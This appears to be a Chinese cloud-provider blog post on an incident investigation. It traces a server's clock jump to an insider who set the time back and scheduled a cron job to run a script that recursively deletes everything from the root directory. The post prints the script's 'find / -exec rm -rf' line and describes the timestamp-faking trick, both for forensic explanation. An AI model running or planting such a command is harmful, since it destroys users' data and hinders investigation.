记一次审核时间异常引发的惊天...

简介: 某用户反馈系统时间在某一个时刻跳变到2019年10月1号,导致程序异常,并提供了相关的截图佐证

背景:

 某用户反馈系统时间在某一个时刻跳变到2019年10月1号,导致程序异常,并提供了相关的截图佐证

image

image

1,目前云上现存的Linux系统存在时间“跳变”是在重启的时候记录UTC时间,启动完成后恢复系统对应时区的时间

2,确认当时ntp server本身没有问题,确认了这两点之后,我们继续排查这个问题(其实这一点基本可以忽略,ntp-server出问题的话就不是一个ecs的问题了)

3,修改时间本身基本上就是 date这个命令没跑了, timedatectl,ntpdate,tzselect也可以看看,根据history去过滤

# egrep "time|date|ntp|tz" .bash_history -n -2
567:date -s "2019-10-01"
568-vi initTask.sh
569-chmod 777 initTask.sh
570-ll
571-crontab -l
572-crontab -e
573-crontab -l
574:date -s "2019-05-02 10:56:02"
575:date

看到date命令修改了系统时间,确认了时间是从系统内部修改的,那么为什么要修改这个时间呢?

4,根据history记录的命令,查看inittask.sh这个脚本是做什么的呢?

[root@izbp1****ri25z ~]# find / -name "initTask.sh"
/etc/rc.d/init.d/initTask.sh
[root@izbp198rtvi9jbqddkri25z ~]# cd /etc/rc.d/init.d/
[root@izb****5z init.d]# stat initTask.sh
  File: ‘initTask.sh’
  Size: 32          Blocks: 8          IO Block: 4096   regular file
Device: fd01h/64769d  Inode: 918340      Links: 1
Access: (0777/-rwxrwxrwx)  Uid: (    0/    root)   Gid: (    0/    root)
Access: 2019-05-05 12:47:10.103223269 +0800
Modify: 2019-10-01 00:00:44.400130560 +0800
Change: 2019-10-01 00:00:57.202168204 +0800
 Birth: -
[root@izbp****5z init.d]# cat initTask.sh
#不要执行,后果自负
find / "*.*" -exec rm -rf {} \#这个脚本会从根目录开始强制删文件
#不要执行,后果自负

5,看看这个脚本什么时候执行

[root@izbp1*****25z init.d]# crontab -l
30 20 2 10 * /ect/init.d/initTask.sh

这里可以看出来,想删文件的人,先修改系统时间,来将脚本的修改时间改成10月1号,然后计划任务在10月2号20:30执行,这样即使后面脚本本身没被删除,上去排查看时间也会以为是10月1号被人删的,同时还有一个点,5月2号也是在假期中,两个假期相关联不禁让人浮想联翩

6,看看系统的登陆日志

[root@izbp19*****5z ~]# last
root     pts/0        10*.7      Mon May  6 17:23   still logged in
root     pts/0        11*.30   Sun May  5 18:42 - 18:49  (00:06)
root     pts/4        111*145  Sun May  5 17:53 - 18:42  (00:48)
root     pts/4        111*145  Sun May  5 17:48 - 17:49  (00:01)
root     pts/3        12*.39      Sun May  5 17:42 - 20:25  (02:42)
root     tty1                          Sun May  5 16:20   still logged in
root     pts/3        11*145  Sun May  5 14:42 - 14:45  (00:02)
root     pts/4        111*145  Sun May  5 14:42 - 14:42  (00:00)
root     pts/3        111.*.145  Sun May  5 14:41 - 14:42  (00:01)
root     pts/0        111.*.145  Sun May  5 13:48 - 18:42  (04:54)
root     pts/0        111.*.145  Sun May  5 10:41 - 11:40  (00:59)
root     pts/0        111.*.145  Thu May  2 10:51 - 10:56  (00:04)
root     pts/0        111.*.7    Fri Apr 26 08:58 - 13:46  (04:47)
root     pts/0        211.*.179   Thu Apr 25 20:08 - 20:32  (00:23)
root     pts/0        111.*.98   Wed Mar 27 16:25 - 16:25  (00:00)

root pts/0 111.*.145 Thu May 2 10:51 - 10:56 (00:04)
574:date -s "2019-05-02 10:56:02"
两条记录时间吻合,且该ip多次登陆,判断为需要客户内部解决的问题,结案!

好久没有发帖了,多说两句 [捂脸哭]
1,不要让愤怒冲昏了头脑,有句俗话说得好“本是同根生,相煎何太急...”
2,阿里云的自动快照策略,你值得拥有!
3,阿里云的自动快照策略,你值得拥有!
4,阿里云的自动快照策略,你值得拥有!

目录
相关文章
|
缓存 监控 网络安全
因服务器时间不同步引起的异常
因服务器时间不同步引起的异常
1592 1
|
敏捷开发 监控 安全
螺旋模型是什么?在软件开发中如何降低风险?
螺旋模型是一种结合了瀑布模型和快速原型模型的软件开发方法,强调风险分析的重要性。每个迭代周期包含计划制定、风险分析、工程实施和客户评估四个阶段,旨在通过持续的风险管理和客户反馈,提高软件质量和项目成功率。该模型由Barry Boehm于1988年提出,适用于需求不稳定、高风险的项目。
1315 4
|
Shell iOS开发 MacOS
|
Linux 开发工具 Python
CentOS7安装python3超详细教程
CentOS7安装python3超详细教程
2547 0
|
Ubuntu Linux
Linux:查看服务器信息,CPU、内存、系统版本、内核版本等
Linux:查看服务器信息,CPU、内存、系统版本、内核版本等
7738 0
Linux:查看服务器信息,CPU、内存、系统版本、内核版本等
|
存储 算法 数据可视化
Qt开发技术:Qt绘图系统(二)QPainter详解
Qt开发技术:Qt绘图系统(二)QPainter详解
Qt开发技术:Qt绘图系统(二)QPainter详解
|
消息中间件 数据可视化 NoSQL
XXL-Job搭建(传统方式&Docker方式)与使用(Linux环境下)
XXL-Job搭建(传统方式&Docker方式)与使用(Linux环境下)
7681 0
XXL-Job搭建(传统方式&Docker方式)与使用(Linux环境下)
|
运维 Prometheus 监控
OceanBase 的运维与监控最佳实践
【8月更文第31天】随着分布式数据库解决方案的需求日益增长,OceanBase 作为一种高性能的分布式数据库系统,在众多场景下得到了广泛应用。为了确保 OceanBase 集群的稳定运行,合理的运维与监控是必不可少的。本文将探讨 OceanBase 的日常运维管理与监控策略,并提供相应的代码示例。
908 2
|
存储 固态存储 数据可视化
|
运维 Cloud Native Java
SLS支持高精度时间戳和全局排序
日志内容本身是一种重要信息,日志之间的相对顺序也是因果关系的一种反映,某些场景下如果日志内容完全相同,但是日志间的顺序错乱了反映出来的结果可能和真实世界里面的事件完全相反。
62783 12
SLS支持高精度时间戳和全局排序